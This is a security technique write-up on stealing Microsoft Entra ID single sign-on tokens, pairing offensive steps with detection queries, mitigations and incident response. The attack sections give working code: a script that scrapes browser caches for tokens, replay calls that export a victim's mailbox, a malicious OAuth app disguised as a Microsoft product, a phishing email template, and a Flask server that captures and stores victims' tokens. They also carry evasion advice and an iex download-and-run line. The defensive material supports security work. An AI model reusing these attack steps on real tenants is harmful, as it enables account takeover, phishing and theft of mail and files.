| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-021 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Microsoft Entra ID (Azure AD), M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Entra ID all versions, Office 365 all versions |
| Patched In | No patch available; requires architectural changes |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 3 (Technical Prerequisites), 6 (Atomic Red Team), and 11 (Sysmon Detection) not included because: (1) This is cloud-only with no on-premises dependency, (2) No Atomic test exists for cloud SSO credential theft, (3) Sysmon does not apply to cloud authentication flows. All remaining sections have been renumbered sequentially.
Concept: Entra ID Single Sign-On (SSO) credential theft occurs when an attacker intercepts, steals, or exfiltrates OAuth/OIDC access tokens issued by Entra ID’s authentication layer. Once a token is obtained, the attacker can impersonate the legitimate user across any cloud application that trusts the token (M365, Teams, SharePoint, custom SaaS apps). Unlike credential dumping, this attack does not require network access or local admin privileges—it can occur at the browser level, token cache level, or through compromised OAuth apps that hold user tokens. Critically, stolen Entra SSO tokens bypass password requirements entirely and often bypass multi-factor authentication (MFA) if the MFA challenge occurred before token issuance.
Attack Surface: Entra ID token caches (browser storage, memory), OAuth app permissions, token interception via man-in-the-middle (MITM), cloud application token databases, device compromise at the browser/OS level.
Business Impact: Full unauthorized access to cloud identity and cloud applications. An attacker holding a valid Entra SSO token can read emails, exfiltrate documents, modify cloud configurations, create backdoors, access sensitive databases, and move laterally through the entire Microsoft 365 ecosystem without the victim’s knowledge. The attack is particularly damaging because it leaves minimal forensic evidence if token replay is performed from the same geographic region.
Technical Context: Token theft can be executed within minutes of target compromise. Detection is difficult because the attacker uses legitimate tokens signed by Microsoft’s Entra ID infrastructure. Token lifetime varies (typically 1 hour for access tokens, longer for refresh tokens), creating a window of opportunity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark (M365) | 1.1.1, 1.1.2 | Ensure MFA is enabled for all users; detects impossible conditions post-MFA |
| NIST 800-53 | AC-3, IA-2, IA-8 | Access Enforcement, Authentication, Device Identification |
| GDPR | Art. 32, 33 | Security of Processing, Breach Notification (72-hour requirement) |
| DORA | Art. 18, 19 | Incident Management, Advanced Security Monitoring |
| NIS2 | Art. 21 | Cyber Risk Management Measures (Critical Infrastructure) |
| ISO 27001 | A.5.8, A.9.2.1 | Authentication, User Access Management |
| ISO 27005 | Section 12.6.1 | Risk Response – Credential Compromise Scenarios |
Required Access:
Supported Versions:
Environmental Factors:
Objective: Verify whether refresh tokens are cached locally on the user’s machine and whether conditional access policies are limiting token lifetime.
# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.Read.All"
# List all Conditional Access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object -Property DisplayName, State, CreatedDateTime
# Check for MFA enforcement on sensitive apps
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*MFA*" } | Format-List
What to Look For:
State: disabled or no session duration limitssessionLifetime: 1 hour and requireCompliantDevice: trueRead/Write All Mail, Read/Write All Files permissions but not in approved list# List all registered applications with high-risk permissions
Get-MgApplication | Where-Object { $_.RequiredResourceAccess -match "Mail.ReadWrite" -or $_.RequiredResourceAccess -match "Files.ReadWrite" } | Select-Object -Property DisplayName, AppId, CreatedDateTime | Format-Table
What to Look For:
Mail.ReadWrite.All or Sites.ReadWrite.All (overprivileged OAuth apps)allowPublicClient: true (insecure for confidential data)Supported Versions: All browsers (Edge, Chrome, Firefox, Safari)
Objective: Gain access to browser’s token storage mechanism.
Command (Windows - Via Malware):
REM Browser token stores are typically located at:
REM Chrome/Chromium: %APPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb
REM Edge: %APPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb
REM Firefox: %APPDATA%\Mozilla\Firefox\Profiles\<profile>\storage\default
REM Extract tokens via PowerShell
Get-ChildItem -Path "$env:APPDATA\Google\Chrome\User Data\Default\Cache" -Recurse | Select-String -Pattern "access_token|refresh_token" | Out-File C:\Tokens.txt
OpSec & Evasion:
msiexec.exe with in-memory injection)Detection Likelihood: Medium – Antivirus may detect token extraction tools; behavioral analysis may flag suspicious file access patterns.
Troubleshooting:
dpapi::cache) to decrypt or extract from browser process memory insteadReferences & Proofs:
Objective: Use stolen token to authenticate to Microsoft Graph API or cloud applications.
Command (PowerShell - Token Replay):
# Assume we have extracted a valid access token from browser cache
$stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGc..." # Real access token from victim
# Create authorization header
$headers = @{
"Authorization" = "Bearer $stolenToken"
}
# Access Microsoft Graph API (simulating the victim)
$userInfo = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers -Method Get
Write-Output $userInfo
# Extract victim's mailbox
$mailItems = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages" -Headers $headers -Method Get
$mailItems.value | Export-Csv -Path "C:\ExfilteredMail.csv" -NoTypeInformation
# Access SharePoint files
$sites = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sites" -Headers $headers -Method Get
Expected Output:
{
"id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"displayName": "Victim User",
"userPrincipalName": "victim@company.onmicrosoft.com",
"mail": "victim@company.com"
}
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Entra ID versions
Objective: Register a legitimate-looking OAuth app in Entra ID that users will authorize.
Command (PowerShell - Register App):
# Connect to Entra ID
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create malicious app registration
$appParams = @{
DisplayName = "Microsoft Teams Analytics" # Legitimate-sounding name
PublicClient = $false
RequiredResourceAccess = @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{
Id = "df021288-bdef-4463-88db-98f22db89214" # Mail.ReadWrite
Type = "Scope"
},
@{
Id = "37f7f235-527c-4136-accd-4a02d197296e" # Files.ReadWrite.All
Type = "Scope"
}
)
}
)
Web = @{
RedirectUris = @("https://attacker-controlled-domain.com/callback")
}
}
$app = New-MgApplication @appParams
$appId = $app.AppId
# Create app secret
$secretParams = @{
DisplayName = "default"
}
$appSecret = Add-MgApplicationPassword -ApplicationId $app.Id @secretParams
What This Means:
OpSec & Evasion:
microsoft-analytics.com instead of attacker.com)Objective: Trick users into authorizing the malicious OAuth app.
Command (Bash - Generate Phishing Link):
# OAuth Device Code Flow (easier, no callback needed)
CLIENT_ID="xxxxx-app-id-xxxxx"
TENANT="common" # Allows any tenant
DEVICE_FLOW_URL="https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode?client_id=${CLIENT_ID}&scope=https://graph.microsoft.com/.default"
# Or Authorization Code Flow with phishing domain
AUTH_CODE_URL="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${CLIENT_ID}&redirect_uri=https://attacker-domain.com/callback&response_type=code&scope=Mail.ReadWrite%20Files.ReadWrite.All&response_mode=form_post"
echo "Send this link to victims via phishing email:"
echo $AUTH_CODE_URL
Phishing Email Template:
Subject: Update Required: Microsoft Teams Analytics Integration
Hi <User>,
To improve your Teams experience, please authorize the Microsoft Teams Analytics application.
Click the link below and sign in with your work account:
[MALICIOUS_OAUTH_LINK]
This authorization takes 2 minutes. Your Teams data will be used for analytics only.
Best regards,
Microsoft Teams Team
Troubleshooting:
References & Proofs:
Objective: Receive the authorization code and exchange it for access tokens.
Command (Node.js/Python - Token Capture Server):
# Python Flask server to capture tokens
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
CLIENT_ID = "xxxxx-app-id-xxxxx"
CLIENT_SECRET = "xxxxx-app-secret-xxxxx"
TENANT = "common"
@app.route('/callback', methods=['GET', 'POST'])
def callback():
# Capture authorization code
code = request.args.get('code')
state = request.args.get('state')
session_state = request.args.get('session_state')
if not code:
return jsonify({"error": "No code received"}), 400
# Exchange code for access token
token_url = f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token"
token_data = {
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
"code": code,
"redirect_uri": "https://attacker-domain.com/callback",
"grant_type": "authorization_code",
"scope": "https://graph.microsoft.com/.default"
}
# Request access token
token_response = requests.post(token_url, data=token_data)
tokens = token_response.json()
# Store tokens in database
access_token = tokens.get('access_token')
refresh_token = tokens.get('refresh_token')
# Log for later use
print(f"[+] Captured Token for user: {extract_user_from_token(access_token)}")
print(f"[+] Access Token: {access_token}")
print(f"[+] Refresh Token: {refresh_token}")
# Save tokens
with open('stolen_tokens.txt', 'a') as f:
f.write(f"{access_token}\n{refresh_token}\n")
# Redirect user to legitimate O365 login page (cover tracks)
return redirect("https://office365.com")
def extract_user_from_token(token):
import base64
parts = token.split('.')
payload = base64.b64decode(parts[1] + '==') # Add padding
import json
data = json.loads(payload)
return data.get('upn', 'unknown')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))
Expected Output:
[+] Captured Token for user: victim@company.com
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5...
[+] Refresh Token: 0.AY4Q...
What This Means:
Version: 2.0+ Installation:
Install-Module Microsoft.Graph -Force -Scope CurrentUser
Version: Latest (GitHub) Installation:
iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Gerenios/AADInternals/master/AADInternals.psd1")
Import-Module AADInternals
Usage:
# Get user's refresh tokens
Get-AADIntAccessTokenForRefresh -RefreshToken $refreshToken
Version: 2.2.0+ Installation: GitHub Release Usage:
mimikatz.exe
dpapi::cache # Decrypt cached tokens
Rule Configuration:
SigninLogs, AuditLogslocations, ipAddress, OperationName, ObjectIdKQL Query:
let timeWindow = 30m;
let geoVelocityThreshold = 900; // km per hour (average commercial aircraft)
SigninLogs
| where TimeGenerated > ago(timeWindow)
| where ResultType == 0 // Successful login
| project TimeGenerated, UserPrincipalName, Location = tostring(LocationDetails.city), Country = tostring(LocationDetails.countryOrRegion), IPAddress = IPAddress
| join kind=inner (
SigninLogs
| where TimeGenerated > ago(timeWindow)
| where ResultType == 0
| project UserPrincipalName, PriorLocation = tostring(LocationDetails.city), PriorCountry = tostring(LocationDetails.countryOrRegion)
) on UserPrincipalName
| where Location != PriorLocation and Country != PriorCountry
| project TimeGenerated, UserPrincipalName, FromLocation = PriorLocation, ToLocation = Location, IPAddress
| join kind=inner (
AuditLogs
| where TimeGenerated > ago(timeWindow)
| where OperationName in ("Send", "Move", "Delete", "Update") and Resources[0].displayName contains "Exchange"
| project UserPrincipalName = InitiatedBy.user.userPrincipalName, MailAction = OperationName, Count = 1
| summarize MailAccessCount = count() by UserPrincipalName
| where MailAccessCount > 5
) on UserPrincipalName
| project TimeGenerated, UserPrincipalName, FromLocation, ToLocation, IPAddress, MailAccessCount
| extend AlertReason = "Impossible travel detected followed by high-volume mail access"
Manual Configuration Steps (Azure Portal):
Impossible Travel + Mail AccessHigh5 minutes30 minutesUserPrincipalNameFalse Positive Analysis:
| where UserPrincipalName !in ("business-traveler@company.com")# Connect to Exchange Online
Connect-ExchangeOnline
# Search for OAuth token issuance
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Consent to application" `
-ResultSize 1000 | Select-Object UserIds, Operations, AuditData | Export-Csv -Path "C:\OAuth_Consents.csv"
# Alternative: Search for suspicious RefreshToken events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Refresh token issuance" `
-ResultSize 1000 | Format-List
Manual Steps (Purview Portal):
This technique occurs entirely in cloud Entra ID infrastructure. No Windows Event Logs are generated on the victim’s endpoint during token theft. However, if a device was compromised to extract tokens from browser cache, the following events may be detected:
Event ID 4688 (Process Creation):
mimikatz.exe, procdump.exe, winhttpcom.exe%APPDATA%\Google\Chrome\User Data\Alert Name: Suspicious Sign-in Activity
# No direct PowerShell configuration; alerts are automatic in Defender for Cloud
# Verify alerts are enabled:
Get-MgSecurityAlert -Top 10 | Where-Object { $_.Title -like "*OAuth*" -or $_.Title -like "*Impossible*" }
Enforce MFA on All Accounts: Multi-factor authentication significantly reduces token theft risk by adding a second verification factor during sign-in. MFA must be enforced before token issuance, not after.
Manual Steps (Azure Portal):
All users or Selected groups (at minimum, all admins)YesManual Steps (PowerShell):
# Require MFA for all users
$params = @{
DisplayName = "Enforce MFA for All Users"
State = "enabled"
Conditions = @{
Applications = @{ IncludeApplications = "All" }
Users = @{ IncludeUsers = "All" }
}
GrantControls = @{
Operator = "AND"
BuiltInControls = @("mfa")
}
}
New-MgIdentityConditionalAccessPolicy @params
Disable Refresh Token Issuance for Unmanaged Devices: If device is not compliant (not enrolled in Intune/MDM), do not issue refresh tokens that last 90 days.
Manual Steps (Azure Portal):
Compliant Device OnlyAll usersAll cloud appsExclude compliant devices (check both boxes)Block accessEvery time (no refresh token caching)OnRevoke All Refresh Tokens Immediately if Breach Suspected: If token theft is suspected, revoke all active refresh tokens to invalidate stolen tokens.
Manual Steps (PowerShell):
# Revoke all refresh tokens for a specific user
$userId = "victim@company.onmicrosoft.com"
Revoke-MgUserSignInSession -UserId $userId
# Force re-authentication for all users
Get-MgUser -Filter "accountEnabled eq true" | Revoke-MgUserSignInSession
Enable Conditional Access with Session Duration Limits: Limit token lifetime to reduce the window of token replay.
Manual Steps (Conditional Access Policy):
Monitor OAuth App Permissions: Audit all registered applications and revoke those with unnecessary high-risk permissions.
Manual Steps (PowerShell):
# List all apps with Mail.ReadWrite or Files.ReadWrite permissions
Get-MgApplication -Filter "requiredResourceAccess/any(r:r/resourceAppId eq '00000003-0000-0000-c000-000000000000')" | Select-Object DisplayName, AppId
# Remove suspicious app registration
Remove-MgApplication -ApplicationId "<AppId>"
Enable Token Protection in Entra ID: Bind tokens to device to prevent replay from other devices.
Manual Steps (Azure Portal):
Token Protectiondevice compliance, approved apps, and MFA sign-in frequency
High and MediumManual Steps:
High Risk BlockHigh, MediumBlock accessOnRBAC: Minimize users with Global Admin or Application Admin roles. Use just-in-time (JIT) access via Privileged Identity Management (PIM).
Manual Steps:
Require approval# Verify MFA is enforced
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.GrantControls.BuiltInControls -contains "mfa" } | Select-Object DisplayName, State
# Verify no legacy authentication
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.ClientApplications.IncludeClientApplications -contains "legacy" }
# Verify session duration limits
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, @{N="SessionDuration"; E={$_.SessionControls}}
# Verify no users have permanent Global Admin role
Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Get-MgDirectoryRoleMember | ForEach-Object {
$iamrole = Get-MgDeviceManagementRoleEligibility -Filter "resourceId eq '$($_.id)'"
if ($null -eq $iamrole) { Write-Host "$($_.displayName) has PERMANENT Global Admin - REMEDIATE" }
}
Expected Output (If Secure):
DisplayName: Enforce MFA for All Users
State: enabled
DisplayName: Session Duration = 1 hour
SessionDuration: SessionLifetime = 60 minutes
%APPDATA%\Google\Chrome\User Data\Default\Local Storage)HKCU\Software\Microsoft\Office\16.0\Common\Identity\Tokens (Office cached tokens)Consent to application, Add app password, unusual API accessRevoke-MgUserSignInSession -UserId "victim@company.com"
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-UserIds "victim@company.com" -ResultSize 5000 | Export-Csv -Path "C:\Evidence.csv"
Update-MgUser -UserId "victim@company.com" -AccountEnabled $false
Reset-MgUserPassword -UserId "victim@company.com" -NewPassword $newPassword
# Check if attacker accessed other accounts via same IP
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-Operations "Consent to application" | Where-Object { $_.ClientIP -eq "attacker-ip" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker sends phishing link for OAuth token grant |
| 2 | Privilege Escalation | [PE-TOKEN-008] API Authentication Token Manipulation | Stolen token upgraded to higher privileges via Graph API |
| 3 | Current Step | [CA-TOKEN-021] | Entra SSO credential theft via compromised device or OAuth app |
| 4 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker adds backdoor app with permanent token |
| 5 | Impact | [COLLECT-EMAIL-001] Email Collection via EWS | Exfiltrate entire mailbox using stolen token |
Data Sources Required:
Retention Policy:
Incident Reporting: